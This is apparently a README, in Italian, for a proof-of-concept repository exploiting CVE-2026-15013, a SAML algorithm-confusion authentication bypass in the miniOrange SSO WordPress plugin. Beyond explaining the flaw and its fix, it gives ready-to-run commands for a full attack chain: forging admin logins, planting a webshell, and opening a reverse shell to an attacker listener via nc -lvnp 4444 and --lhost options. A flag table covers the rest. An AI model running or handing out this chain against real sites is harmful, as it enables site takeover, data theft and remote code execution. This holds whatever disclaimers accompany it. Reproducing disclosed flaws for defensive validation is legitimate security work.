
Exploit per CVE-2026-15013: bypass dell'autenticazione SAML non autenticato tramite confusione di algoritmo. Forgia risposte SAML per ottenere accesso admin e distribuire webshell/reverse shell. Solo per test autorizzati.
Proof-of-concept per CVE-2026-15013: bypass dell'autenticazione sfruttabile senza autenticazione tramite la confusione dell'algoritmo di firma SAML (HMAC-SHA1) nel plugin WordPress miniOrange SAML Single Sign On – SSO Login (versioni fino alla 5.4.3 inclusa).
Solo test autorizzati. Utilizza questo codice esclusivamente su sistemi di tua proprietà o per i quali disponi di un'esplicita autorizzazione al test. L'accesso non autorizzato a sistemi informatici è illegale.
| Ruolo | |
|---|---|
| Scopritore della vulnerabilità | lhking (accreditato nel record CVE) |
| CVE / CNA | Wordfence |
| Questo repository | Riproduzione indipendente in laboratorio / automazione del PoC (non la scoperta originale) |
Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-15013
Mo_SAML_Utilities::mo_saml_cast_key() si fida dell'algoritmo SignatureMethod presente nella SAMLResponse controllata dall'attaccante. Quando è impostato su HMAC-SHA1, il plugin reinterpreta la chiave pubblica RSA dell'IdP come segreto condiviso HMAC e verifica la firma con esso. Chiunque possa leggere il certificato dell'IdP (spesso metadati pubblici) può forgiare un'asserzione valida per qualsiasi utente WordPress esistente, inclusi gli amministratori.
Corretto in 5.4.4+ (algoritmi insicuri / HMAC rifiutati).
9.8 CRITICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
openssl (per la conversione del certificato in chiave pubblica)Installa le dipendenze:
pip install -r requirements.txt
Catena completa (enumerazione, login HMAC, admin, webshell):
python3 exploit.py -u https://TARGET.example
Reverse shell opzionale (avvia prima il listener: nc -lvnp 4444):
python3 exploit.py -u https://TARGET.example --lhost YOUR_IP --lport 4444
Solo login (nessuna shell):
python3 exploit.py -u https://TARGET.example --no-shell
Override manuali:
python3 exploit.py -u https://TARGET.example \
--issuer https://idp.example/realms/xxx \
--nameid admin \
-k ./idp-pubkey.pem
exp/shell.php?c=id)--lhostQuesto progetto è destinato esclusivamente alla ricerca sulla sicurezza educativa e autorizzata. Gli autori e i collaboratori non sono responsabili dell'uso improprio. Ottieni sempre un'autorizzazione scritta prima di testare sistemi di terze parti. La vulnerabilità originale è stata segnalata tramite divulgazione responsabile; questo repository dimostra esclusivamente la riproduzione a fini di apprendimento e validazione difensiva.
Per uso di ricerca. Nessuna garanzia.
| Flag | Descrizione |
|---|
-u, --url | URL base di WordPress (obbligatorio) |
-k, --hmac-key | File PEM della chiave pubblica o certificato; se vuoto, recupera dai metadati IdP |
--issuer | Sostituisce l'issuer IdP |
--acs | Sostituisce l'URL ACS |
--nameid | Forza un singolo nome utente WordPress |
--lhost / --lport | Callback della reverse shell (porta predefinita 4444) |
--no-shell | Fermati dopo la sessione admin |
--no-reverse | Carica la shell ma non attivare la reverse |